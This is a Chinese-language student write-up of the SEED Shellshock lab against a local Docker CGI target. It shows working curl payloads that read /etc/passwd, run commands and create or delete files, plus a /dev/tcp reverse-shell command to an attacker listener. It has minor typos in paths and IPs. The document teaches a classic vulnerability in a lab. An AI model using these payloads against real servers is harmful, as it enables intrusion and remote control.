实验官方文档链接SEED Project
环境搭建
-
DNS设置
在我们的设置中,web服务器容器的IP地址为10.9.0.80。服务器的主机名为www.seedlab-shellshock.com。我们需要将此名称映射到IP地址。请将以下内容添加到/etc/hosts。您需要使用root权限来修改此文件
10.9.0.80 www.seedlab-shellshock.com
- 容器设置及相关命令
在lab官网下载labsetup到虚拟机中,使用以下命令解压缩
apt install -y unzip
unzip Labsetup.zip
使用命令dcbuild设置实验环境,但是出现以下报错
ERROR: Service 'victim' failed to build : Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io on 127.0.0.53:53: server misbehaving
解决办法:修改虚拟机的网络连接方式为NAT
接下来用dcup命令运行靶机容器
3. Web Server and CGI
在本实验中,我们将对 Web 服务器容器发起 Shellshock 攻击。 许多 Web 服务器启用 CGI,这是一种用于在网页和 Web 应用程序上生成动态内容的标准方法。 很多CGI程序都是shell脚本,所以在实际的CGI程序运行之前,会先调用一个shell程序,这样的调用是由远程计算机的用户触发的。 如果shell程序是一个易受攻击的bash程序,我们可以利用易受攻击的Shellshock获取服务器权限。
在我们的 Web 服务器容器中,我们已经设置了一个非常简单的 CGI 程序(称为 vul.cgi)。 它使用 shell 脚本简单地打印出“Hello World”。 CGI 程序放在 Apache 的默认 CGI 文件夹 /usr/lib/cgi-bin 中,它必须是可执行的。
#!/bin/bash_shellshockecho "Content-type: text/plain"
echo
echo
echo "Hello World"
CGI 程序使用 /bin/bash shellshock(第一行),而不是使用 /bin/bash。 此行指定应调用哪个 shell 程序来运行脚本。 我们确实需要在本实验中使用易受攻击的 bash。
要从 Web 访问 CGI 程序,我们可以使用浏览器输入以下 URL:http://www.seedlab-shellshock.com/cgi-bin/vul.cgi,或者使用以下命令行程序 curl 做同样的事。 请确保 Web 服务器容器正在运行。
curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
task 1:experimenting with Bash Function
在bash_shellshock上设计一个实验验证该shell是否易受shellshock攻击,并在普通/bin/bash上验证。
建立一个shell变量foo
foo='() { echo "hello world"; }; echo "extra";'
在bash_shellshock中运行,发现foo被子进程识别为函数并继承,除函数体外,额外的命令被执行了。
当我们在patch后的shell执行上述步骤,发现foo后面的命令并没有被运行。foo也没有以函数的形式被继承。
task 2:Passing Data to Bash via Environment Variable
为了利用基于bash的CGI程序中的Shellshock漏洞,攻击者需要将其数据传递给有漏洞的bash程序,并且数据需要通过环境变量传递。在这项任务中,我们需要看到如何实现这一目标。我们在服务器上提供了另一个CGI程序(getenv.CGI),以帮助您识别哪些用户数据可以进入CGI程序的环境变量。这个CGI程序打印出所有的环境变量。
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ ①
Task 2.A: Using brower
在上面的代码中,行 1打印出当前进程中所有环境变量的内容。 通常,如果您使用浏览器访问 CGI 程序,您会看到类似以下内容。 请确定浏览器设置了哪些环境变量的值。 您可以在浏览器上打开 HTTP Header Live 扩展来捕获 HTTP 请求,并将请求与服务器打印的环境变量进行比较。 请在实验报告中包括您的调查结果。
****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) ...
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9, ...
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_ACCEPT_ENCODING=gzip, deflate
...
现在安装http header live以进行环境变量的比较
安装后页面左边会出现一个小框框显示自动捕获的http live header,我们刷新一下刚刚访问的cgi
可以看到,请求头中的user-agent、language等信息会被cgi继承成为环境变量。
Task 2.B: Using curl
如果我们想将环境变量数据设置为任意值,我们将不得不修改浏览器的行为,这将过于复杂。幸运的是,有一个名为curl的命令行工具,它允许用户控制HTTP请求中的大部分字段。以下是一些用户选项:
(1) -v字段可以打印出HTTP请求的头;
(2) -A、-e和-H选项可以在头请求中设置一些字段,您需要确定每个字段设置了哪些文件。
请在实验室报告中包括你的发现。以下是如何使用这些字段的示例:
$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
基于这个实验,请描述curl的哪些选项可以用于将数据注入目标CGI程序的环境变量。
用curl命令访问该程序,可以看到程序的环境变量被打印。
我们使用-A命令尝试修改一下agent字段
修改后的值被cgi程序继承为环境变量。那么我们可以利用shellshock漏洞,修改agent的值,让cgi程序运行shell脚本时,通过继承环境变量来执行我们的攻击命令。类似地可以修改其它字段,如:
-
-A:设置用户代理(User-Agent);
-
-e:设置 HTTP 的标头Referer,表示请求的来源;
-
-H:添加自定义的 HTTP 请求头
task 3:Launching the Shellshock Attack
我们现在可以发起 Shellshock 攻击。 攻击不依赖于 CGI 程序中的内容,因为它针对的是 bash 程序,该程序在执行实际 CGI 脚本之前被调用。 你的工作是通过 URL http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 发起攻击,这样你就可以让服务器运行任意命令。
如果您的命令有纯文本输出,并且您希望输出返回给您,则您的输出需要遵循一个协议:它应该以 Content type: text/plain 开头,后跟一个空行,然后您可以放置您的纯文本输出。 例如,如果您希望服务器返回其文件夹中的文件列表,您的命令将如下所示:
echo Content_type: text/plain; echo; /bin/ls -l
Task 3.A
让服务器发回 /etc/passwd 文件的内容
curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd " http://www.seedlab-shellshock.com/cgi-bin/vul1.cgi
Task 3.B
让服务器告诉你它的进程的用户 ID。 您可以使用 /bin/id 命令打印出 ID 信息。
curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/id " http://www.seedlab-shellshock.com/cgi-bin/vul1.cgi
Task 3.C
让服务器在 /tmp 文件夹中创建一个文件。 需要进入容器查看文件是否创建,或者使用另一个Shellshock攻击列出/tmp文件夹。
curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/touch /temp/file " http://www.seedlab-shellshock.com/cgi-bin/vul1.cgi
Task 3.D
删除tmp文件夹里的文件
curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/rm /tmp/file " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/ls -l /tmp " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
Question
问题 1:你能从服务器窃取影子文件 /etc/shadow 的内容吗?为什么或者为什么不? 在Task 3.B 中获得的信息应该会给你一个线索。
答:不能。因为打开/etc/shadow需要root权限。从Task 3.B中我们可以知道当前用户id为33,并非root。
问题 2:HTTP GET 请求通常在 URL 中附加数据,在 ? 标记后。 这可能是我们可以用来发起攻击的另一种方法。 在下面的例子中,我们在URL中附加了一些数据,我们发现这些数据是用来设置如下环境变量的
$ curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi?AAAAA"
...
UERY_STRING=AAAAA
...
我们可以使用这种方法来发起 Shellshock 攻击吗? 请进行您的实验并根据您的实验结果得出您的结论。
答:不能。因为空格在URL中需要被转义,而函数定义的左大括号前后都需要有一个空格,否则整个字符串无法被解析。
task 4:通过 Shellshock 攻击获取反向 Shell
Shellshock 漏洞允许攻击者在目标机器上运行任意命令。 在真正的攻击中,攻击者通常选择运行一个 shell 命令,而不是对攻击中的命令进行硬编码,因此他们可以使用这个 shell 运行其他命令,只要 shell 程序还活着。 为了实现这一目标,攻击者需要运行一个反向 shell。
反向 shell 是在机器上启动的 shell 进程,其输入和输出由远程计算机的某个人控制。 基本上,shell 在受害者的机器上运行,但它从攻击者的机器上获取输入,并将其输出打印在攻击者的机器上。 反向 shell 为攻击者提供了一种在受感染机器上运行命令的便捷方式。 可以在 SEED 书中找到有关如何创建反向 shell 的详细说明。 在此任务中,您需要演示如何使用 Shellshock 攻击从受害者那里获取反向 shell。
实验过程
1. 监听本机(攻击者)9090端口上的TCP连接
nc -lv 9090
出现以下报错
nc: getnameinfo: Temporary failure in name resolution
有可能是抑制域名解析,用-lvn试试
2. 查看攻击者服务器的TCP服务IP
3. 实行shellshock攻击
curl -A "() { echo hello;}; echo Content_type: text/plain; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi
(1)/bin/bash -i:-i意味着使用shell的可交互模式,shell在这个模式下会提供提示符;
(2)>/dev/tcp/10.0.9.1/9090:shell的stdout被重定向至TCP连接,即本机的TCP端口。&1:stdout
(3)0<&1:0:stdin
(4)2>&1:2:stderr
此时的监听端口显示成功创建反向shell
task 5:using the patched bash
用bin/bash代替cgi程序的第一行,重新完成task3。
(1)新建vul1.cgi
(2)重新搭建容器并运行
别忘了在Dockerfile中加入新文件
(3)重新执行task3命令(别忘了cgi程序是vul1)
打了补丁后的bash并不能成功攻击